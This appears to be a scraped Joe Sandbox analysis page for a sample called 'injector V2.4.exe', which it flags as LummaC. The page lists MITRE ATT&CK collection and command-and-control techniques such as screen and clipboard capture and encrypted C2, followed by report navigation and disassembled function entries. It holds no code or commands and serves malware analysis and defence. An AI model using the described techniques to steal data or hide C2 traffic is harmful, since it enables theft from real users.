Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report injector V2.4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
injector V2.4.exe

Function 004EB18D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 004D9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 004CBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Function 004D6CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 004D6FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 004DA732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 004D6E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 004DB0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 004DA00A Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Function 004D3B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 004D9E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 004CCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 004DB807 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 004DBC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE